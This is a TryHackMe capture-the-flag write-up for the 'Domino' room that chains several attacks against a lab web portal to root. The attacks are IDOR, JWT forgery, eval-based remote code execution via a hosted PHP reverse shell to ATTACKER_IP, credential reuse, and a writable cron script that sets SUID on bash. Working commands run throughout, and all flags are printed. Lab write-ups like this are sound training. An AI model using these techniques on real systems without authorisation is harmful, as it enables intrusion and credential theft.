Writeups/TryHackMe/Domino - TryHackMe Writeup
TryHackMeEasyRoom

Domino - TryHackMe Writeup

Domino TryHackMe writeup — IDOR, JWT tampering, eval-based RCE, credential reuse and a writable cron script chained into full system compromise.

Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.

##Task 1 | Challenge

The NexusCorp Employee Portal appears to be a typical internal application with authentication controls and role-based access in place. However, multiple small weaknesses, ranging from misconfigurations to logic flaws, can be combined to fully compromise the system.

###Answer the questions below

Q. What is the flag found in the admin user's profile notes?

Ans.

Q. What is the flag displayed on the admin panel after gaining admin access?

Ans.

Q. What is the flag obtained after achieving remote code execution on the server? Flag is stored in /opt/flag3.txt

Ans.

Q. What is the flag found in the devops user's home directory?

Ans.

Q. What is the root flag?

Ans.


##Walkthrough

Let's begin with a full port scan against the target.

bash
root@ip-10-49-123-248:~# nmap -p- -sT 10.49.182.132 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http

Only SSH and HTTP are exposed, so the web application becomes our primary attack surface.

###Initial Enumeration

Browsing to the application reveals the NexusCorp Employee Portal login page.

http
HTTP/1.1 200 OK Server: Apache/2.4.58 (Ubuntu) <title>NexusCorp Portal</title> <form method="POST" action="/index.php"> <input type="text" name="username"> <input type="password" name="password"> </form> <a href="/forgot.php">Forgot password?</a> <a href="/team.php">Our Team</a>

The application immediately exposes two interesting endpoints:

  • >/team.php
  • >/forgot.php

Team Directory

Visiting the Team page reveals a list of employee names.

NexusCorp Team page listing employee names
NexusCorp Team page listing employee names

These names will later become valid usernames for credential attacks.

Password Reset Functionality

Testing the forgot password feature with a known employee:

http
POST /forgot.php username=laura.hayes

Response:

text
Password reset instructions have been sent to la****@nexus.corp

No immediate vulnerability is visible, but we now know:

laura.hayes

is a valid username.

###Static File Discovery

While inspecting /static/, we discover a JavaScript file:

/static/app.js

Contents:

javascript
const CONFIG = { apiBase: '/api', // Encryption key for backup config decryption // Key: N3xusK3y2024!! _backupKey: 'N3xusK3y2024!!', appVersion: '2.3.1' };

app.js leaking the hidden API endpoint and backup decryption key
app.js leaking the hidden API endpoint and backup decryption key

This leaks two important pieces of information:

  1. >Hidden API endpoint
/api
  1. >AES decryption key
N3xusK3y2024!!

###API Enumeration

Let's enumerate the newly discovered API.

bash
ffuf -u http://10.49.182.132/api/FUZZ \ -w /usr/share/wordlists/dirb/common.txt

Results:

text
auth [Status: 301] users [Status: 301]

Directory listing reveals:

/api/users/profile.php
/api/auth/token.php

However, both endpoints require authentication.

###Further Content Discovery

Running another FFUF scan against the web root:

bash
ffuf -u http://10.49.182.132/FUZZ \ -w directory-list-2.3-medium.txt \ -e .php,.html,.txt,.zip,.js,.bak,.enc

Interesting results:

text
backup admin config.php auth.php reset.php

###Backup Disclosure

Visiting:

/backup

reveals:

README.txt
config.enc

The README provides an important clue:

text
NexusCorp Backup Configuration config.enc - Encrypted application configuration Decryption key reference: see static/app.js

Exactly what we needed.

###Decrypting config.enc

Using the AES key leaked in app.js:

bash
openssl enc -d -aes-128-ecb \ -K 4e337875734b337932303234212100 \ -in config.enc

Output:

json
{ "app_name":"NexusCorp Portal", "version":"2.3.1", "deploy_env":"production", "system_user":"devops" }

The interesting value is:

json
"system_user":"devops"

Remember this username. It becomes important later.

###Credential Attack

At this point we have:

  • >Multiple usernames from Team page
  • >A login form

Let's try password spraying using Hydra.

bash
hydra -L usernames.txt \ -P xato-net-10-million-passwords-10000.txt \ 10.49.182.132 \ http-post-form \ '/index.php:username=^USER^&password=^PASS^:Invalid credentials.'

Results:

text
sarah.johnson password: password robert.wilson password: password emma.taylor password: password

We successfully obtain valid credentials.

##User Access

Login:

emma.taylor:password

Dashboard:

text
Welcome, emma.taylor Role: user Endpoint: /api/files.php?name=

The dashboard also reveals:

/api/users/profile.php?id=5

This immediately looks like an IDOR candidate.

##Flag 1 — IDOR

Request:

http
GET /api/users/profile.php?id=5

Response:

json
{ "id":5, "username":"emma.taylor", "role":"user" }

Changing the ID:

http
GET /api/users/profile.php?id=1

Response:

json
{ "id":1, "username":"laura.hayes", "role":"admin", "notes":"THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}" }

🚩 Flag 1

THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}

##JWT Abuse

The dashboard references:

/api/auth/token.php

Fetching a token:

json
{ "token":"<JWT>", "expires_in":3600 }

Trying to access:

http
GET /api/files.php Authorization: Bearer <JWT>

Results in:

json
{ "error":"Admin JWT required" }

###JWT Tampering

Decoding the token:

json
{ "sub":"emma.taylor", "role":"user" }

Modify:

json
{ "sub":"emma.taylor", "role":"admin" }

using jwt_tool.

bash
sh1v4ng@Shivangs-MacBook-Air jwt_tool % python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlbW1hLnRheWxvciIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzgyMDc4MDE1LCJleHAiOjE3ODIwODE2MTV9.i7zuRP9TbHHfZWn0J7WN55mk6joZbk9boZ9Rem2P1HQ -d ../../ctf/SecLists-master/Passwords/Common-Credentials/xato-net-10-million-passwords.txt --tamper \ \ \ \ \ \ \__ | | \ |\__ __| \__ __| | | | \ | | | \ \ | | \ | | | __ \ __ \ | \ | _ | | | | | | | | | | / \ | | | | | | | | \ | / \ | | |\ |\ | | \______/ \__/ \__| \__| \__| \______/ \______/ \__| Version 2.3.0 \______| @ticarpi /Users/sh1v4ng/.jwt_tool/jwtconf.ini Original JWT: ==================================================================== This option allows you to tamper with the header, contents and signature of the JWT. ==================================================================== Token header values: [1] alg = "HS256" [2] typ = "JWT" [3] *ADD A VALUE* [4] *DELETE A VALUE* [0] Continue to next step Please select a field number: (or 0 to Continue) > 0 Token payload values: [1] sub = "emma.taylor" [2] role = "user" [3] iat = 1782078015 ==> TIMESTAMP = 2026-06-22 03:10:15 (UTC) [4] exp = 1782081615 ==> TIMESTAMP = 2026-06-22 04:10:15 (UTC) [5] *ADD A VALUE* [6] *DELETE A VALUE* [7] *UPDATE TIMESTAMPS* [0] Continue to next step Please select a field number: (or 0 to Continue) > 2 Current value of role is: user Please enter new value and hit ENTER > admin [1] sub = "emma.taylor" [2] role = "admin" [3] iat = 1782078015 ==> TIMESTAMP = 2026-06-22 03:10:15 (UTC) [4] exp = 1782081615 ==> TIMESTAMP = 2026-06-22 04:10:15 (UTC) [5] *ADD A VALUE* [6] *DELETE A VALUE* [7] *UPDATE TIMESTAMPS* [0] Continue to next step Please select a field number: (or 0 to Continue) > 0 Signature unchanged - no signing method specified (-S or -X) jwttool_2ec3e730730415a97dbe5d573a47cf96 - Tampered token: [+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlbW1hLnRheWxvciIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4MjA3ODAxNSwiZXhwIjoxNzgyMDgxNjE1fQ.i7zuRP9TbHHfZWn0J7WN55mk6joZbk9boZ9Rem2P1HQ sh1v4ng@Shivangs-MacBook-Air jwt_tool %

Modified payload:

json
{ "sub":"emma.taylor", "role":"admin" }

###Why It Works

Reading source code through the file API later reveals:

php
function verify_jwt($token) { // Signature check intentionally disabled return $payload; }

No signature validation.

Any JWT can be modified.

##Local File Read

After JWT tampering:

http
GET /api/files.php Authorization: Bearer <admin-token>

Response:

json
{ "error":"Missing name parameter", "usage":"/api/files.php?name=/var/www/html/file.txt" }

This becomes an arbitrary file read vulnerability.

###Reading Configuration Files

Request:

http
GET /api/files.php?name=/var/www/html/config.php

Response:

php
define('DB_USER', 'app_user'); define('DB_PASS', 'D3v0ps!2024'); define('JWT_SECRET', 'nexus_jwt_s3cr3t_2024'); define('APP_SECRET', 'nexus_app_k3y_2024');

Interesting credentials recovered:

DB_PASS = D3v0ps!2024

##Flag 2 — Admin Panel Access

Reading:

/var/www/html/admin/index.php

reveals:

php
$flag2 = 'THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}';

We can also directly browse:

/admin

using our forged admin JWT.

The page displays:

THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}

🚩 Flag 2

THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}

##Discovering Remote Code Execution

Reading:

/var/www/html/api/files.php

reveals a dangerous block:

php
if (strpos($name, "http://") === 0 || strpos($name, "https://") === 0) { $remote = file_get_contents($name); eval( str_replace("<?php","",$remote) ); }

This is a full RCE vulnerability.

The application:

  1. >Downloads attacker-controlled PHP
  2. >Removes <?php
  3. >Executes the content with eval()

##Confirming Code Execution

Create:

php
<?php echo shell_exec('id'); ?>

Host it:

bash
python3 -m http.server 8000

Trigger:

http
GET /api/files.php?name=http://ATTACKER_IP:8000/test.php

Response:

json
{ "output": "uid=33(www-data) gid=33(www-data)" }

Confirmed.

We have remote code execution.

##Reverse Shell

Download PentestMonkey PHP reverse shell.

Update:

php
$ip = "ATTACKER_IP"; $port = 4444;

PentestMonkey PHP reverse shell with updated IP and port
PentestMonkey PHP reverse shell with updated IP and port

Start listener:

bash
nc -lvnp 4444

Host the file:

bash
python3 -m http.server 8000

Trigger:

http
GET /api/files.php?name=http://ATTACKER_IP:8000/shell.php

Listener:

text
Connection received uid=33(www-data) gid=33(www-data)

Shell obtained.

###Stabilizing Shell

bash
python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm

###Flag 3 — Remote Code Execution

After triggering the vulnerable api/files.php endpoint with our hosted PHP reverse shell, we receive a connection back on our listener.

Start a listener:

bash
nc -lvnp 4444

Connection received:

bash
root@ip-10-49-123-248:~# nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 10.49.182.132 45532 Linux tryhackme-2404 6.17.0-1015-aws x86_64 GNU/Linux uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $

Let's upgrade the shell:

bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
text
www-data@tryhackme-2404:/$

Reading Flag 3

Now that we have code execution as www-data, we can read the third flag.

bash
www-data@tryhackme-2404:/$ cat /opt/flag3.txt THM{rf1_2_rc3_f00th0ld_fl4g3}

🚩 Flag 3

THM{rf1_2_rc3_f00th0ld_fl4g3}

##Lateral Movement — Compromising devops

Earlier in the challenge, we discovered the following credential while reading application configuration files:

php
define('DB_PASS', 'D3v0ps!2024');

Since we also discovered a system user named:

devops

it is worth testing whether the database password has been reused at the operating system level.

###Attempting User Switch

bash
www-data@tryhackme-2404:/$ su devops Password: D3v0ps!2024

Success!

text
devops@tryhackme-2404:/$

This confirms credential reuse between the application and system accounts.

###Reading User Flag

bash
devops@tryhackme-2404:~$ cat user.txt THM{s5h_cr3d_r3u53_l4t3r4l_fl4g4}

🚩 Flag 4

THM{s5h_cr3d_r3u53_l4t3r4l_fl4g4}

##Privilege Escalation

With access to the devops account, we begin standard privilege escalation enumeration.

###Sudo Permissions

bash
devops@tryhackme-2404:~$ sudo -l Sorry, user devops may not run sudo on tryhackme-2404.

No luck.

###SUID Enumeration

bash
find / -perm -4000 -type f 2>/dev/null

The results contain only standard binaries and do not provide an obvious escalation path.

###Interesting Files in /opt

While enumerating the filesystem, we discover several interesting files.

bash
devops@tryhackme-2404:~$ ls -la /opt drwxrwxrwx 5 root root 4096 May 7 20:26 . -rwxrwxrwx 1 root root 1870 May 7 20:26 admin_bot.py drwxr-xr-x 2 root root 4096 Apr 29 10:27 monitoring drwxr-xr-x 2 root root 4096 Apr 30 06:22 tools

One particularly interesting file is:

/opt/admin_bot.py

###Understanding the Admin Bot

Reviewing the source code reveals an automated administrator process running as root.

python
COOKIE = dict(nexus_session=make_session_cookie())

The bot periodically reviews support tickets and visits any URLs it finds.

python
requests.get(url, cookies=COOKIE, timeout=5)

This explains the intended challenge path and how administrator actions are automated.

###Process Monitoring

Inside /opt/tools, we discover pspy64.

bash
devops@tryhackme-2404:/opt/tools$ ./pspy64

The output reveals a root-owned process:

text
UID=0 PID=1100 | /usr/bin/python3 /opt/admin_bot.py

as well as other periodic root activity.

###Writable Root-Owned Script

Further investigation reveals a monitoring directory:

bash
devops@tryhackme-2404:/opt/monitoring$ ls health_report.sh

A scheduled task executes:

/opt/monitoring/health_report.sh

as root.

The critical issue is that the script is writable by the devops group.

This gives us a direct path to privilege escalation.

###Exploiting the Scheduled Job

Append the following command to the script:

bash
echo 'chmod u+s /usr/bin/bash' >> /opt/monitoring/health_report.sh

This causes the root-owned scheduled task to set the SUID bit on /usr/bin/bash.

Initially:

text
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /usr/bin/bash

After the scheduled task executes, the SUID bit is applied.

###Root Shell

Launch bash in privileged mode:

bash
bash -p

Root shell obtained:

text
bash-5.2#

###Reading Root Flag

bash
bash-5.2# cat /root/root.txt THM{pr1v3sc_cr0n_r00t_fl4g5}

🚩 Root Flag

THM{pr1v3sc_cr0n_r00t_fl4g5}

Done!

$ echo "Open to Red Team Security Research and Security Engineering roles."

> Open to Red Team Security Research and Security Engineering roles.

$ uptime

> Portfolio online since 2024 | Last updated: Aug 2026

"No one is useless in this world who lightens the burdens of another." — Charles Dickens

Considered a small donation if you found any of the walkthrough or blog posts helpful. Much appreciate :)

Buy me a coffee

© 2026 Shivang Tiwari. Built with Next.js. Hack the planet.